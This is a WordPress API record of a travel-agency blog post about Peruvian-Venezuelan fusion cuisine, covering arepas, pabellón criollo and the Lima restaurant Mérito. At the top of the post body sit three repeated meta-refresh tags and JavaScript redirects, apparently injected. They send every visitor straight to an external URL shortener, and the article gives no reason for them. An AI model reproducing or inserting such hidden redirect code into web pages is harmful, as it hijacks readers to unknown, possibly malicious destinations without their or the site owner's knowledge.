{"id":12569,"date":"2025-09-23T10:20:06","date_gmt":"2025-09-23T15:20:06","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=12569"},"modified":"2025-09-23T10:20:09","modified_gmt":"2025-09-23T15:20:09","slug":"peruvian-venezuelan-fusion-a-tasty-food-mix","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-venezuelan-fusion-a-tasty-food-mix\/","title":{"rendered":"Peruvian-Venezuelan Fusion: A Tasty Food Mix"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Peru and Venezuela boast rich culinary traditions. Both countries are famous for bold flavors, diverse ingredients, and unique cooking methods. <\/p>\n\n\n\n<p>Consequently, in the last eight years, many Venezuelans have made Peru their home, bringing their food culture and blending it with Peruvian cuisine.&nbsp;<\/p>\n\n\n\n<p>This fusion has created a new, exciting gastronomic experience, mixing flavors from the Andes and the Amazon in Peru and the Caribbean in Venezuela. Let\u2019s explore how these two culinary worlds unite as we highlight must-try dishes and share the best places to enjoy this cultural blend.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>New Story but the same Origin<\/strong><\/h3>\n\n\n\n<p>The wave of Venezuelans in Peru is nothing new for the Peruvian people. A significant part of our history and culture is thanks to immigrants who arrived in Peru looking for a better future for their families. <\/p>\n\n\n\n<p>Although we can say Peru is a country \u201cwhere all blood converges and mixes, Peru received more influence from Asian cultures.<\/p>\n\n\n\n<p>For example, by the end of the 19th century, waves of Chinese immigrants arrived in Peru, which can now be seen in traditions, beliefs, or people\u2019s features. <\/p>\n\n\n\n<p>It&#8217;s no wonder that almost every Peruvian knows at least one \u201cchino\u201d or \u201cChinese,\u201d a person who has Asian oriental features.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Nikkei-food-Features-of-the-Nikkei-food.jpg?resize=697%2C465&#038;ssl=1\" alt=\"nikkei peruvian food\" class=\"wp-image-12528\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Nikkei-food-Features-of-the-Nikkei-food.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Nikkei-food-Features-of-the-Nikkei-food.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Nikkei-food-Features-of-the-Nikkei-food.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Nikkei-food-Features-of-the-Nikkei-food.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Nikkei-food-Features-of-the-Nikkei-food.jpg?w=1500&amp;ssl=1 1500w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Nikkei-food-Features-of-the-Nikkei-food.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Nikkei Peruvian food is a great example of Fusion<\/strong> Cuisine.<\/figcaption><\/figure><\/div>\n\n\n<p>A valuable and delicious legacy of Chinese immigration was the origin of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chifa-the-delicious-fusion-of-chinese-and-peruvian-flavors\/\"><strong>chifa<\/strong><\/a>, Peruvian cuisine that combines Chinese cooking techniques. <\/p>\n\n\n\n<p>Another example is <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/nikkei-peruvian-cuisine-the-peruvian-japanese-fusion\/\"><strong>Nikkei Peruvian cuisine<\/strong><\/a>, which combines Peruvian ingredients with Japanese cooking techniques.<\/p>\n\n\n\n<p>Consequently, it is no wonder that the same thing may happen to Venezuela: Peru can be close to seeing how its vast and rich gastronomy mixes and establishes itself as another fusion cuisine. Like this, Peruvian techniques and ingredients could enhance Venezuelan flavors.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>How Did Peruvian Cuisine Influence Venezuelan Food?<\/strong><\/h2>\n\n\n\n<p>When thousands of Venezuelans moved to Peru, they brought their arepas, cachapas, and passion for well-seasoned dishes. <\/p>\n\n\n\n<p>At the same time, they embraced Peruvian ingredients like aj\u00ed amarillo, rocoto, and a love for fresh ceviche. This mix led to a new wave of restaurants and street food stalls serving dishes that blend both traditions.<\/p>\n\n\n\n<p>Some of the main ways Venezuelan food has influenced Peru include:<\/p>\n\n\n\n<p>The rise of arepa restaurants that mix Peruvian fillings like <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lomo-saltado-discover-one-of-the-worlds-top-dishes\/\"><strong>lomo saltado<\/strong><\/a> or aj\u00ed de gallina.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"557\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/tipos-de-arepas-rellenas_0.jpg?resize=697%2C557&#038;ssl=1\" alt=\"Venezuelan Arepas\" class=\"wp-image-12573\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/tipos-de-arepas-rellenas_0.jpg?w=768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/tipos-de-arepas-rellenas_0.jpg?resize=300%2C240&amp;ssl=1 300w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>The adaptation of Venezuelan empanadas with Peruvian flavors.<\/p>\n\n\n\n<p>The use of Peruvian <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-your-ultimate-guide-to-native-spices\/\"><strong>native spices<\/strong><\/a> and chili peppers in Venezuelan dishes.<\/p>\n\n\n\n<p>This exchange has given birth to new flavors that surprise both locals and visitors.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Must-Try Venezuelan-Peruvian Fusion Dishes<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Arepa rellena with Peruvian flavors<\/strong><\/h3>\n\n\n\n<p>Arepas are cornmeal patties that Venezuelans eat daily, usually filled with cheese, meat, or beans. In Peru, arepas have taken on new life with fillings like aj\u00ed de gallina, lomo saltado, or even chicharr\u00f3n with sarsa criolla on top. Venezuelan people even use <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-golden-legacy-of-the-peruvian-corn\/\"><strong>Peruvian corn<\/strong><\/a> to make their arepas.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Peruvian-style Pabell\u00f3n Criollo<\/strong><\/h3>\n\n\n\n<p>Pabell\u00f3n Criollo is one of Venezuela\u2019s most traditional dishes, consisting of shredded beef, black beans, rice, and fried plantains. <\/p>\n\n\n\n<p>Some Peruvian-Venezuelan restaurants now serve it with tacu-tacu, a mixture of beans and rice. Others replace the beef with seco norte\u00f1o, a slow-cooked stew made with cilantro.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"522\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/45072339685_fda92a5f62_k.jpg?resize=697%2C522&#038;ssl=1\" alt=\"peruvian grill with a venezuelan touch.\" class=\"wp-image-12580\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/45072339685_fda92a5f62_k.jpg?resize=1024%2C767&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/45072339685_fda92a5f62_k.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/45072339685_fda92a5f62_k.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/45072339685_fda92a5f62_k.jpg?resize=1536%2C1151&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/45072339685_fda92a5f62_k.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/45072339685_fda92a5f62_k.jpg?w=2047&amp;ssl=1 2047w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/45072339685_fda92a5f62_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Venezuelan empanadas with Peruvian fillings<\/strong><\/h3>\n\n\n\n<p>Venezuelan empanadas are made with corn dough and fried until crispy. In Peru, empanadas now feature classic fillings like<strong> <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/rocoto-relleno-perus-sizzling-stuffed-pepper-fiesta\/\" title=\"\">rocoto relleno<\/a><\/strong>, papa rellena, or aj\u00ed de gallina. This makes for a tasty cross-cultural snack.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Chancho al Cilindro with Venezuelan touch and arepas<\/strong><\/h3>\n\n\n\n<p>Chancho al cilindro (pork in a cylinder) is a cherished dish for many Peruvians, consisting of seasoned pork cooked in an oven in the shape of a cylinder. <\/p>\n\n\n\n<p>Recently, some Venezuelan restaurants have added their touch to it by including arepas, mandioca, and Venezuelan sauces.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Where to Try Venezuelan-Peruvian Fusion in Peru<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Arepa Caf\u00e9 (Lima)<\/strong><\/h3>\n\n\n\n<p>This restaurant specializes in Venezuelan arepas but with a twist\u2014many of their fillings include Peruvian flavors like chicharr\u00f3n, seco de res, and huanca\u00edna sauce.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>La Calle del Hambre (Lima)<\/strong><\/h3>\n\n\n\n<p>An entire street where several stands offer the best of Venezuelan food, with Peruvian street food cooking techniques. You can find this \u201chungry street\u201d in the San Juan de Miraflores district.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Merito, the best fusion Restaurant<\/strong><\/h2>\n\n\n\n<p>M\u00e9rito, located in Lima\u2019s Barranco district, has been ranked 55th in <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/five-peruvian-restaurants-reached-2024-worlds-top-100-list\/\"><strong>2024\u2019s world\u2019s top restaurants.<\/strong><\/a>&nbsp; M\u00e9rito was founded by Venezuelan chef Juan Luis Mart\u00ednez, mixing Peruvian ingredients with Venezuelan recipes. This fascinating and distinctive mix creates dishes such as yuca quesadilla with goat cheese and scallop tiradito with tumbo leche de tigre.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"579\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/merito2.jpg?resize=697%2C579&#038;ssl=1\" alt=\"merito menu\" class=\"wp-image-12582\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/merito2.jpg?resize=1024%2C851&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/merito2.jpg?resize=300%2C249&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/merito2.jpg?resize=768%2C638&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/merito2.jpg?resize=1536%2C1277&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/merito2.jpg?w=1688&amp;ssl=1 1688w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/merito2.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>A menu at Merito Restaurant.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>The restaurant has a cozy vibe that features 150-year-old adobe walls. The open kitchen lets diners see the cooking process and interact with chefs. Merito\u2019s dishes vary between 29 and 150 soles, and undoubtedly, here you can have the ultimate Peruvian-Venezuelan fusion experience.<\/p>\n\n\n\n<p><em><strong>Address: Jr, 28 De Julio 206, Barranco 15063<\/strong><\/em>, <em><strong>Lima.<\/strong><\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Why This Fusion Works So Well<\/strong><\/h3>\n\n\n\n<p>-Peruvian and Venezuelan food complement each other perfectly because they share:<\/p>\n\n\n\n<p>-A love for bold flavors \u2013 both cuisines use garlic, cumin, and aj\u00edes.<\/p>\n\n\n\n<p>&#8211; A mix of cultural influences \u2013 Latin American, African, and Indigenous traditions are present in both.<\/p>\n\n\n\n<p>-A passion for<strong> <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/top-peruvian-street-foods-a-guide-to-tasty-bites\/\" title=\"\">street food<\/a><\/strong> \u2013 from arepas to anticuchos, both countries enjoy food on the go.<\/p>\n\n\n\n<p>The fusion of these two Latin American cuisines is not just about flavors\u2014it\u2019s also about the people. It represents how migration and cultural exchange can create something new and exciting, keeping traditions alive while embracing innovation.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>A Culinary Bridge Between Two Nations<\/strong><\/h3>\n\n\n\n<p>Food is one of the most powerful ways cultures connect. The fusion between Venezuelan and Peruvian cuisine is proof of how migration can enrich a country\u2019s culinary landscape.<\/p>\n\n\n\n<p> It\u2019s not just about mixing ingredients\u2014it\u2019s about stories, traditions, and shared experiences at the dinner table.<\/p>\n\n\n\n<p>In just a few years, this fusion has become part of Peru\u2019s diverse food scene, from street vendors to fine dining spots like M\u00e9rito.<\/p>\n\n\n\n<p> Venezuelans share their flavors, and Peruvians embrace them. This mix opens up endless possibilities for new and exciting dishes.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/30420039688_10d31ed6d1_o.jpg?resize=697%2C392&#038;ssl=1\" alt=\"arepa venezuela\" class=\"wp-image-12583\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/30420039688_10d31ed6d1_o.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/30420039688_10d31ed6d1_o.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/30420039688_10d31ed6d1_o.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/30420039688_10d31ed6d1_o.jpg?resize=1536%2C864&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/30420039688_10d31ed6d1_o.jpg?w=1920&amp;ssl=1 1920w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/30420039688_10d31ed6d1_o.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Finally, to learn more about Peru&#8217;s rich gastronomy, stay tuned to our blog! <strong>Viagens Machu Picchu<\/strong> also invites you to visit our country to get more surprises! We would be more than glad if you let us assist you in discovering what Peru has to offer.<\/p>\n\n\n\n<p>Feel free to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact us<\/a><\/strong> so our consultants can give you info about our packages, deals, and more! The most delicious adventure in Peru awaits you, so don&#8217;t be late!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Join us as we explore the best of Peruvian-Venezuelan dishes, history and restuarants! We&#8217;re sure that after this article, you&#8217;ll love this fusion as much as  we do!<\/p>\n","protected":false},"author":1,"featured_media":12572,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[192,1850,3495],"tags":[4744,4746,1890,4745,4749,4748,4750,4747],"class_list":["post-12569","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-experiences","category-food","category-peruvian-flavors","tag-arepa","tag-fusion","tag-latin-america","tag-latin-american","tag-merito","tag-nikkei-peruvian","tag-pabellon-criollo","tag-peruvian-and-venezuelan"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/TT3OX6GO5ZESVA64RX7SD5DA7E.jpg?fit=980%2C528&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-3gJ","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/12569","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=12569"}],"version-history":[{"count":5,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/12569\/revisions"}],"predecessor-version":[{"id":18528,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/12569\/revisions\/18528"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/12572"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=12569"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=12569"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=12569"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}